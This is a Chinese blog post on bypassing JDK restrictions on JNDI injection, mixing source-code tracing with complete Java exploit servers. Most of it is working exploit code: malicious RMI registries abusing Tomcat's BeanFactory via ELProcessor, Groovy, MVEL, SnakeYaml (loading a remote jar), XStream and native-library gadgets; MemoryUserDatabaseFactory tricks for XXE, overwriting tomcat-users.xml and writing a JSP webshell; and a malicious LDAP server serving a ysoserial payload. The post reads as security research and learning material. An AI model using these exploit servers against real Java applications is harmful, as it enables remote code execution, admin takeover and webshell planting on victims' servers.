JNDI Bypass

由于jndi注入的原理就是远程对象访问可控,Reference恶意类 反序列化造成的。
这里梳理一下JNDI的过程。放一张@bitterz师傅的图

  • 其中第一和第二步也就是我们正常的rmi通信 可以回顾一下rmi通信原理 然后就是传递都是需要反序列化,所以我们如果返回一个恶意的数据流 他就会反序列化我们的恶意代码【当然要有链子才行】
  • 第三步我们也可以找一个本地的工厂类 从而达到RCE的效果。

高版本也就是在第四步中阻断了我们。所以在1和3我们还是可控的可以导致加载我们的恶意类从而达到反序列化的目的。

  • 思路一:受害者向LDAP或RMI服务器请求Reference类后,将从服务器下载字节流进行反序列化获得Reference对象,此时即可利用反序列化gadget实现RCE
  • 思路二:执行步骤3时,利用受害者本地的工厂类实现RCE

源码梳理

我们rmiserver

package com.demo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class rmi_server {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", "http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("obj",referenceWrapper);
        System.out.println("running");
    }
}

rmiclient

package com.demo.jndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class rmi_client {
    public static void main(String[] args) throws NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        String url = "rmi://localhost:1099/obj";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

我们直接定位到RegistryContext.class吧 因为前面就是根据协议进行判断 然后来帮助我们去寻找对应的工厂
image.png
如图所示就是rmi的过程。第96行跟进 如图所示image.png
通过newCall方法中与服务端建立Socket连接,并发送一些约定的数据,然后再通过ref.invoke方法处理服务端响应回来的序列化数据。然后去获取这个流进行反序列化【具体可以去看rmi】
然后返回到RegistryContext.class到103行
return this.decodeObject(var2, var1.getPrefix(1));
image.png
我们可以看到会先判断是否是远程Reference 是的话就会获取getReference
image.png
然后判断getFactoryClassLocation()远程地址是否为空。还会判断是否设置了trustURLCodebase 他默认为false。
这里通过以后我们来到NamingManager.getObjectInstance(var3, var2, this, this.environment);
image.png
我们跟进到319行getObjectFactoryFromReference(ref, f);
image.png
image.png
从ref中获取codebase后,调用helper对象的loadClass方法从远程下载test恶意对象,然后调用newInstance进行实例化,而ref对象实际上是Reference类,该类是从rmi服务器或ldap服务器下载而来。最后调用getObjectInstance实现RCE 整个过程也就印证了本文的第一张图。

基于本地工厂类

基于org.apache.naming.factory.BeanFactory

图片.png
org.apache.naming.factory.BeanFactory
该类刚好有一个getObjectInstance()方法
image.png
这个类会把Reference对象的className属性作为类名去调用无参构造方法实例化一个对象。然后再从Reference对象的Addrs参数集合中取得 AddrType 是 forceString 的 String 参数。
image.png
接着根据取到的 forceString 参数按照,逗号分割成多个要执行的方法。再按=等于号分割成 propName 和 param。
image.png
最后会根据 propName 作为方法名称去反射获取一个参数类型是 String.class的方法,并按照 param 从 Addrs 中取到的 String 对象作为参数去反射调用该方法。而刚好javax.el.ELProcessor#eval满足条件。当然groovy.lang.GroovyShell#evaluate只传一个String参数也能够执行攻击代码

ELProcessor

javax.el.ELProcessor#eval
pom依赖

    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-dbcp</artifactId>
        <version>8.0.53</version>
    </dependency>
    <dependency>
        <groupId>org.mortbay.jasper</groupId>
        <artifactId>apache-el</artifactId>
        <version>8.0.27</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-core</artifactId>
        <version>8.0.53</version>
    </dependency>

server端代码

package com.demo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi_bypass_el {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        // 强制将 'r0ser1' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
        ref.add(new StringRefAddr("forceString", "r0ser1=eval"));

        // 指定r0ser1属性指定其setter方法需要的参数,实际是ElProcessor.eval方法执行的参数,利用表达式执行命令
        ref.add(new StringRefAddr("r0ser1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);  // 绑定目录名
        System.out.println("Server Started!");
    }
}

groovy

groovy.lang.parseclass.parseClass(String text)

image.png

package com.demo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi_bypass_groovy {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=parseClass"));
        String script = "@groovy.transform.ASTTest(value={\n" +
            "    assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
            "})\n" +
            "def x\n";
        ref.add(new StringRefAddr("x",script));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
        System.out.println("Server Started!"); 

    }
}

org.codehaus.groovy.runtime.ProcessGroovyMethods#execute

了解groovy 链的对这个应该很熟悉

package com.demo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi_bypass_groovy {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("org.codehaus.groovy.runtime.ProcessGroovyMethods", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "r0ser1=execute"));
        ref.add(new StringRefAddr("r0ser1", "calc"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
        System.out.println("Server Started!");
    }
}

MLet

javax.management.loading.MLet
这个类是jdk自带的,虽然他满足我们的条件,但是他没有实例化单靠 ClassLoader.loadClass 无法触发 static 代码块,所以没办法rce,但是他可以进行出网gadget探测,原理就是如果类加载成功就不会影响后面访问远程类。反之如果第一次类加载失败就会抛出异常结束后面的流程,也就不会访问远程类。

package com.demo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi_bypass_mlet {
    public static void main(String[] args)throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
                                          true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
        ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
        ref.add(new StringRefAddr("b", "http://127.0.0.1:8000/"));
        ref.add(new StringRefAddr("c", "ELProcessor"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
        System.out.println("Server Started!");
    }
}

MLet 继承自 URLClassloader,有一个无参构造方法,还有一个 addURL(String)方法,它的父类还有一个 loadClass(String)方法。
且addURL会添加到ucp资源中 后续loadClass调用findClass即可访问。
image.png

SnakeYaml

这里也是满足条件的,具体分析文章查看https://www.cnblogs.com/R0ser1/p/16213257.html

package com.demo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi_bypass_snakeYaml {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload-master.jar\"]\n" +
                "  ]]\n" +
                "]";
        ref.add(new StringRefAddr("forceString", "a=load"));
        ref.add(new StringRefAddr("a", context));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
        System.out.println("Server Started!");
    }
}

image.png

XStream

同理通过new com.thoughtworks.xstream.XStream().fromXML(String)来进行的 poc可能有差别 根据版本来进行的。

package com.demo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi_bypass_XStream {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
                "  <unserializable-parents/>\n" +
                "  <java.util.PriorityQueue>\n" +
                "    <default>\n" +
                "      <size>2</size>\n" +
                "    </default>\n" +
                "    <int>3</int>\n" +
                "    <dynamic-proxy>\n" +
                "      <interface>java.lang.Comparable</interface>\n" +
                "      <handler class='sun.tracing.NullProvider'>\n" +
                "        <active>true</active>\n" +
                "        <providerType>java.lang.Comparable</providerType>\n" +
                "        <probes>\n" +
                "          <entry>\n" +
                "            <method>\n" +
                "              <class>java.lang.Comparable</class>\n" +
                "              <name>compareTo</name>\n" +
                "              <parameter-types>\n" +
                "                <class>java.lang.Object</class>\n" +
                "              </parameter-types>\n" +
                "            </method>\n" +
                "            <sun.tracing.dtrace.DTraceProbe>\n" +
                "              <proxy class='java.lang.Runtime'/>\n" +
                "              <implementing__method>\n" +
                "                <class>java.lang.Runtime</class>\n" +
                "                <name>exec</name>\n" +
                "                <parameter-types>\n" +
                "                  <class>java.lang.String</class>\n" +
                "                </parameter-types>\n" +
                "              </implementing__method>\n" +
                "            </sun.tracing.dtrace.DTraceProbe>\n" +
                "          </entry>\n" +
                "        </probes>\n" +
                "      </handler>\n" +
                "    </dynamic-proxy>\n" +
                "    <string>calc</string>\n" +
                "  </java.util.PriorityQueue>\n" +
                "</java.util.PriorityQueue>";
        ref.add(new StringRefAddr("forceString", "a=fromXML"));
        ref.add(new StringRefAddr("a", xml));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
        System.out.println("Server Started!");
    }
}

MVEL

对于这个依赖不太了解..后面有技术学习一下
pom

<dependency>
    <groupId>org.mvel</groupId>
    <artifactId>mvel2</artifactId>
    <version>2.4.12.Final</version>
</dependency>

先给出浅蓝师傅的poc

package com.demo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi_bypass_mvel {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=exec"));
        ref.add(new StringRefAddr("a",
                "push Runtime.getRuntime().exec('calc');"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
        System.out.println("Server Started!");
    }
}

NativeLibLoader

com.sun.glass.utils.NativeLibLoader#loadLibrary(String)
最终还是通过System.load来进行加载的。
image.png
使用的dll可以自己写也可以使用这个构建好的 https://github.com/3gstudent/test
代码如下

package com.demo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi_bypass_LibLoader {
    public static void main(String[] args)throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
        ref.add(new StringRefAddr("a", "../../../../../../../Users\\Administrator\\Desktop\\calc"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
        System.out.println("Server Started!");
    }
}

这里我们需要使用相对路径 可以看到如下图所示 他回找到libdir 进行拼接。以及默认会判断liunx mac win 会自动补充后缀 所以我们也是不需要添加后缀的。
image.png

基于org.apache.catalina.users.MemoryUserDatabaseFactory

image.png
我们发现存在getObjectInstance 通过MemoryUserDatabase的set进行赋值。我们进入37行 open
image.png
我们发现这里调用了ConfigFileLoader.getInputStream(this.getPathname());
跟进可以得知可以远程访问url获取数据流
image.png
而digester.parse(is); 则是可以读取xml 造成xxe的 以及如果有其他规则设定我们可以造成RCE的 具体可以看@y4tacker师傅的文章

public class Tomcat_digester_webshell {
    public static void main(String[] args) throws IOException, SAXException {
        org.apache.tomcat.util.digester.Digester digester = new org.apache.tomcat.util.digester.Digester();
        digester.addRuleSet(new org.apache.catalina.startup.ContextRuleSet("", false));
        InputStream is = ConfigFileLoader.getInputStream("http://127.0.0.1:8000/context.xml");
        digester.parse(is);
    }
}

context.xml内容为

<Context>
  <Manager className="com.sun.rowset.JdbcRowSetImpl"
    dataSourceName="ldap://127.0.0.1:8888/test"
    autoCommit="true"></Manager>
</Context>

XXE

但是这里并设置不了addRuleSet 所以造成xxe
代码如下

public class jndi_bypass_tomcatMemoryXXE {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
                                          true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8000/evil.dtd"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
        System.out.println("Server Started!");
    }
}

image.png

RCE

我们上面提供的RCE 完成不了 但是浅蓝师傅 提供了RCE的方法 来学习
在open中我们可以发现如下规则设置 这里就是设置规则 然后解析我们xml赋值给对应的变量
image.png
image.png
如图所示Digester添加规则。这里以users为例。
image.png
这里解析xml后 匹配到这个规则调用begin 经过调用最后来到
org\apache\catalina\users\MemoryUserCreationFactory.class
image.png
image.png
这样子我们内存就有值了。继续回到org\apache\catalina\users\MemoryUserDatabaseFactory.class
当我们设置readonly属性为false时候会进入save();方法
image.png
image.png
这里会有一个判断 判断是否存在 是不是目录 getParentFile获取的是路径。
例如用Win的话可以使用目录跳转
C:\Users\Administrator\AppData\Local\JetBrains\IntelliJIdea2021.2\tomcat\52ecbe0d-b3f7-42a2-bcce-01dea74bbbe8\http:\127.0.0.1:8000....\conf\tomcat-users.xml
但是Liunx的话跳转前面的目录必须是要存在的才可以。所以配合前面BeanFactory然后寻找一个可以创建目录的方法即可。
后续写文件如下:
image.png
后面就是把我们原文件删除 把old删除把 new文件重命名成我们原来的文件
image.png

创建Tomcat管理员

我们在本地开启一个tomcat-users.xml文件
如下image.png
代码如下

package com.demo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi_bypass_tomcatMemory_tomcat {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
                true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
//        ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8000/tomcat-users.xml"));
        ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8000/../../conf/tomcat-users.xml"));
        ref.add(new StringRefAddr("readonly","false"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
        System.out.println("Server Started!");
    }
}

这样子他就可以访问http://127.0.0.1:8000/../../conf/tomcat-users.xml
然后把他覆盖catalina.base/http://127.0.0.1:8000/../../conf/tomcat-users.xml到我们本身catalina.base/conf/tomcat-users.xml的文件 覆盖完成如下
image.png
其实这里有一个问题
image.png
那就是我们传入进去再open方法里面获取数据流的时候 会判断这是否是一个存在的文件。但是tomcat当然是存在的所以这里会直接return 上面截图是我删除tomcat-user.xml 演示的。所以我们如果真的要复现好像是需要先删除这个文件。当然删除也并不困难 使用BeanFactory 找一个删除的Gagent即可。

写webshell

如果没有开启后台 还可以尝试写webshell,写文件原理我们可以得知
image.png
开启webapps 或者你知道当前路径即可。
开启python服务 然后再webapps/ROOT/test.jsp 内容为

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;calc&#x22;); %&#x3e;"/>
</tomcat-users>

代码如下

package com.demo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi_bypass_webshell {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
                true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8000/../../webapps/ROOT/test.jsp"));
        ref.add(new StringRefAddr("readonly", "false"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
        System.out.println("Server Started!");
    }
}

image.png

基于服务端返回数据流的反序列化RCE

恶意的ldap_server

JAVA_ATTRIBUTES默认存在如下属性
image.png
LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。其中具体的处理代码如下:
image.png
图片.png
image.png
这里javaSerializedData 不为空就进入deserializeObject 而 这里就是原生反序列化的地方
image.png
所以利用就很简单了。我们poc在原来ldap改一下 加 个字段就好了 也可以根据下面稍微改一下使用即可
https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java

package com.demo.jndi;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import ysoserial.Serializer;
import ysoserial.payloads.CommonsCollections6;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;


public class ldap_evil_server {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        int port = 8888;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor());
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
            System.out.println("Send LDAP reference result for " + base);
            e.addAttribute("javaClassName", "foo");
            byte[] calcs = Serializer.serialize(new CommonsCollections6().getObject("calc"));
            e.addAttribute("javaSerializedData", calcs);
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}


然后我们写个简单的demo运行在服务器上 或者直接本地 然后监听进程
开启ldap_evil_server之后 我们client 实战也就是服务器去连接。
我这里直接监听进程来查看吧。先查看所有java进程id
image.png
然后这里代码睡眠是为了我们后续火绒剑 等 监听操作。找到我们client也就是实战中的server
image.png
运行之后可以直观看到 这里执行了命令 打开了calc

恶意的rmi_server

而另一种就相当于 rmi_server 或者注册中心 攻击 客户端。
因为jndi 我们去连接服务端会返回数据 然后反序列化 所以这里的客户端相当于我们实战中的服务器。服务器去连接我们恶意的服务器端 服务端返回一个恶意的对象。
这里直接使用yso中的JRMPListener 即可。
image.png
image.png

文章和工具

https://www.cnblogs.com/bitterz/p/15946406.html
https://tttang.com/archive/1405/
https://www.cnblogs.com/bitterz/p/15946406.html#222-rce
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
工具:https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/  【可以学习】
posted @ 2023-02-09 16:15  R0ser1  阅读(126)  评论(0编辑  收藏  举报